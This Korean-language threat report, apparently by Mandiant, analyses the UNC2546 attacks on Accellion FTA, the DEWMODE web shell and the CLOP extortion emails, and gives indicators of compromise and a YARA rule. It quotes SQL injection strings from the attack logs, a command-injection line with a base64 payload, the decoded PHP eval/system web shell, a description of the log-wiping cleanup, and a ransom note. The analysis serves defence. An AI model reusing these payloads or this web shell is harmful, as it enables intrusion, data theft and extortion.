방화벽 기업 Accellion의 FTA 취약점을 노린 공격 피해 ~ 특별한 주의 요구

Andrew Moore
Feb 26, 2021
6 min read
|   Last updated: Jun 06, 2023

방화벽 기업인 Accellion이 제공하는 대용량 파일 전송 시스템인 FTA(File Transfer Appliance)의 제로 데이 취약점을 노린 공격의 피해가 커지고 있습니다. 해킹 대상이 된 FTA는 출시된 지 20년이 넘어 EOL(End of Life)이 선언되어 이제 현역의 자리에서 은퇴한 설루션입니다. 이 솔루션을 Accellion의 엔터프라이즈 컨텐츠 방화벽으로 업그레이드하지 않고 계속 쓰는 조직이 주로 피해를 보고 있습니다. 관련해 파이어아이는 Accellion과 지속해서 협력하며 공격자를 추적하는 한편 취약점을 분석하고 있습니다.

 

훔친 데이터를 공개하여 피해자를 곤혹스럽게 만들고 있는 UNC2546

 

보안 업계에서는 이번 FTA 취약점 사고를 제2의 솔라윈즈 사태로 보고 있습니다. 신뢰할 수 있는 공급망을 노린 공격이기 때문이죠. 맨디언트의 관찰에 따르면 2020년 12월 중순부터 UNC2546으로 명명한 공격 그룹이 Accellion의 FTA의 제로 데이 취약점을 악용해 DEWMODE 웹 쉘을 설치하였습니다. 이후 UNC2546의 공격을 받은 것으로 추정되는 여러 조직이 CL0P ^ _- LEAKS 페이지에 탈취한 정보를 올리겠다는 협박성 이메일을 공격자로부터 받기 시작했습니다. 이 사이트에 내부 데이터가 게시된 피해 기업 중 일부는 DEWMODE 웹 쉘을 이용해 훔친 것으로 보입니다. CL0P ^ _- LEAKS 사이트에 정보가 공개되 곤욕을 치른 기업을 2월 들어 증가하였습니다. 미국, 싱가포르, 캐나다, 네덜란드 조직이 주요 피해자였습니다.

피해자가 흥정에 응하지 않을 경우 다크웹 사이트에 정보를 공개하겠다고 협박한 것은 이번이 처음이 아닙니다. 맨디언트는 이전에 FIN11 공격 그룹이 CLOP 랜섬웨어 배포 후 정보 공개 위협을 한 사실을 잘 알고 있습니다. 분석 결과 UNC2546과 FIN11은 공격 패턴에는 중복되는 부분이 있습니다. 관련해 맨디언트는 여러 공격 그룹 간 상관관계를 지속해서 살필 계획입니다.

현재 맨디언트는 FTA 관련 문제 대응을 위해 Accellion과 긴밀히 협력하고 있으며 몇 주 내에 보안 평가 보고서를 공개할 예정입니다. 현재 Accellion은 긴급하게 FTA 취약점에 대한 패치를 공개하는 한편 이번 공격 벡터 관련 이상 징후를 모니터링하고 경고하는 기능도 추가하였습니다. 맨디언트는 Accellion의 패치를 검증하는 한편 다른 취약점이 있는지 FTA를 대상으로 침투 테스트 및 코드 리뷰를 시행하였습니다. 그 결과 더 이상의 취약점은 발견할 수 없었습니다. 현재 문제가 되는 것은 패치를 적용하지 않은 레거시 FTA라 할 수 있습니다.

CVE-2021-27101- 제작된 호스트 헤더를 통한 SQL 삽입

CVE-2021-27102- 로컬 웹 서비스 호출을 통한 OS 명령 실행

CVE-2021-27103- 제작된 POST 요청을 통한 SSRF

CVE-2021-27104- 제작된 POST 요청을 통한 OS 명령 실행

DEWMODE 웹 쉘 파헤치기

 

이번 사건에서 맨디언트는 DEWMODE 웹 쉘을 배포하기 위해 FTA 장치 및 피해 조직 인프라를 활용하는 TTP(전술, 기술, 절차)를 관찰했습니다. DEWMODE 웹 쉘을 설치하는 데 활용되는 취약성에 대한 세부 정보는 현재 분석 중입니다. 하지만 여러 클라이언트를 조사한 결과 UNC2546의 활동에서 공통점을 찾을 수 있었습니다.

맨디언트는 초기 손상부터 DEWMODE 배포 후 이루어지는 후속 상호 작용에 의해 영향을 받는 장치의 시스템 로그와 아파치 웹 서버 로그 등을 검사하여 세부 정보를 재구성할 수 있었습니다. 이번 캠페인을 처음 확인한 것은 2020년 12월 중순이었습니다. 맨디언트는 Accellion의 FTA에서 SQL 인젝션 취약점을 활용하는 UNC2546의 활동을 확인했습니다. 맨디언트는 다음과 같이 SQL 인젝션 취약점을 악용한 증거 확보 후 이후 활동을 관찰했습니다.

[.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api

 

UNC2546은 SQL 인젝션 취약점을 활용해 sftp_account_edit.php 파일에 대한 요청과 함께 사용되는 것으로 보이는 키를 검색했습니다. 이 요청 후 Accellion의 유틸리티인 admin.pl이 실행되어 eval 웹 쉘이 oauth.api에 기록되었습니다.

PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F
--mount_cifs=-
V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm
FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd
XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

디코딩 된 내용은 다음과 같습니다.

<?php

if(isset($_REQUEST['token']))
{
    eval(base64_decode($_REQUEST['token']));
}
else if(isset($_REQUEST['username']))
{
    system($_REQUEST['username']);
}
else
{
    header('Location: /');
}

이 같은 시퀀스를 통해 DEWMODE 웹 쉘이 시스템에 기록됩니다. 요청 타이밍을 통해 DEWMODE가 oauth.api 웹 셸을 통해 전달되었음을 추정할 수 있습니다. 다만, 이것만으로는 DEWMODE를 디스크에 쓰는 데 사용한 정확한 메커니즘을 알 수 없습니다.

맨디언트는 다음 두 위치 중 하나에서 DEWMODE 웹 쉘을 식별하였습니다.

  • /home/seos/courier/about.html
  • /home/httpd/html/about.html

DEWMODE 웹 쉘은 FTA의 MySQL 데이터베이스에서 사용 가능한 파일 목록을 추출하고 해당 파일과 해당 메타 데이터(파일 ID, 경로, 파일 이름, 업로드 및 수신자)를 HTML 페이지에 나열합니다. 그런 다음 UNC2546은 제시된 목록을 사용해 DEWMODE 웹 쉘로 파일을 다운로드합니다. 다운로드 요청은 FTA의 웹 로그에 캡처됩니다.

 

 


여기에는 암호화 되고 인코딩된 URL 매개 변수를 사용하는 DEWMODE 웹 쉘에 대한 요청이 포함됩니다. 여기서 dwn은 파일 경로이고 fn은 요청된 파일 이름입니다.

 

GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256

웹 로그에 표시되는 암호화된 파일 경로 및 이름 값은 대상 FTA에서 사용하는 데이터베이스에서 얻은 키 자료를 통해 해독할 수 있습니다. 이 프로세스의 복잡한 특성을 감안할 때 조직에서 관련 목록을 검토하는 데 도움이 필요할 경우 맨디언트나 Accellion에 문의 바랍니다.

파일 다운로드 후 UNC2546은 값이 11454bd782bb41db213d415e10a0fb3c 인 csrftoken인 특정 쿼리 매개 변수를 DEWMODE에 전달하여 다음과 같이 정리 루틴을 시작합니다.

쉘 스크립트는 /tmp/.src에 기록됩니다. /var/opt/apache/에 있는 로그 파일에서 about.html에 대한 모든 참조를 제거합니다. 수정된 로그 파일을 /tmp/x에 기록한 다음 /var/opt/apahce/에서 원래 로그 파일을 바꿉니다. /home/seos/log/adminpl.log 파일 내용을 삭제합니다. /home/seos/courier/abouthoml(DEWMODE)와 /home/seos/courier/oauth.api(eval web shell)을 제거합니다. 그리고 /tmp/.out 파일로 리다이렉션 명령을 출력합니다. 모든 사용자가 읽기, 쓰기, 실행을 할 수 있도록 출력 파일의 권한을 변경하고 소유자를 "nobody"로 설정합니다. 스크립트 파일 /tmp/.src 및 기타 임시 생성 파일을 삭제합니다. 정리 요청 및 정리 스크립트의 후속 실행 예는 다음과 같습니다. 참고로 정리 과정이 조금 다른 변종 DEWMODE(bdfd11b1b092b7c61ce5f02ffc5ad55a)도 있습니다.

GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD

맨디언트는 UNC2546이 cache.js.gz라는 파일을 요청하는 것도 관찰하였습니다. mysqldump 유틸리티 및 mysql 데이터 디렉토리에 대한 임시 파일 액세스를 기반으로 아카이브에 데이터베이스 덤프가 포함되었을 가능성이 있습니다.

GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256

데이터 유출을 친절히(?) 알리며 협박

 

DEWMODE 웹 쉘 설치 후 UNC2546은 몇 시간 내에 손상된 FTA 인스턴스에서 파일을 다운로드하였습니다. UNC2546의 동기는 아직 명확하지 않습니다. 다만 DEWMODE 웹 쉘 피해 사고가 관찰된 지 몇 주 후부터 CLOP 랜섬웨어에 감염되었다는 내용을 안내하는 협박 이메일이 여러 조직에 발송되었습니다. 몸값을 지불하지 않으면 "CL0P^_- LEAKS"라는 사이트에 데이터를 올리겠다는 협박 내용이 담겨 있습니다.

Hello!

Your network has been hacked, a lot of valuable data stolen. <description of stolen data, including the total size of the compressed files> We are the CLOP ransomware team, you can google news and articles about us. We have a website where we publish news and stolen files from companies that have refused to cooperate. Here is his address http://[redacted].onion/ - use TOR browser or http://[redacted].onion.dog/ - mirror. We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to discuss the current situation. <victim-specific negotiation URL> - use TOR browser We don't want to hurt, our goal is money. We are also ready to provide any evidence of the presence of files with us.

 

This is the last warning!

If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site),  send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment.

Do not let this happen, write to us in chat or email and we will discuss the situation!

CHAT:  <victim-specific negotiation URL>

EMAIL: [email protected]

USE TOR BROWSER!

앞서 잠시 언급한 바와 같이 UNC2546과 FIN11의 활동에 중복이 있습니다. 가령 2021년 1월 관찰된 일부 UNC2546이 발송한 이메일이 과거 FIN11이 사용한 이메일 계정 또는 IP 주소를 통해 발송되었습니다. 다음으로 UNC2546이 활동하던 2021년 새해 초반 FIN11의 활동이 감지되지 않았습니다. "CL0P^_- LEAKS" 사이트를 이용하는 것도 같습니다. 이외에 제한적이긴 하지만 UNC2546에 의해 손상된 조직 중 상당수가 이전에 FIN11의 표적이었습니다. DEWMODE 웹 쉘과 통신한 IP 주소는 FIN11에서 C2 호스팅을 위해 자주 사용하는 네트워크인 "Fortunix Networks LP" 넷블록에 있는 것도 유사점입니다.

주요 침해 지표

MD5

SHA256

2798c0e836b907e8224520e7e6e4bb42

5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b

bdfd11b1b092b7c61ce5f02ffc5ad55a

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

IP 주소 

  • 45.135.229.179
  • 79.141.162.82
  • 155.94.160.40
  • 192.154.253.120
  • 192.52.167.101
  • 194.88.104.24

Detections

FireEye Detections

  • FE_Webshell_PHP_DEWMODE_1
  • FEC_Webshell_PHP_DEWMODE_1
  • Webshell.PHP.DEWMODE

Mandiant Security Validation

  • A101-515 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #1
  • A101-516 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #2

DEWMODE YARA 룰 

rule DEWMODE_PHP_Webshell
{
    strings:
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "<th>file_id</th>"
        $s3 = "<th>path</th>"
        $s4 = "<th>file_name</th>"
        $s5 = "<th>uploaded_by</th>"
        $s6 = "target=\\\"_blank\\\">Download</a></td>"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
    condition:
        all of them
}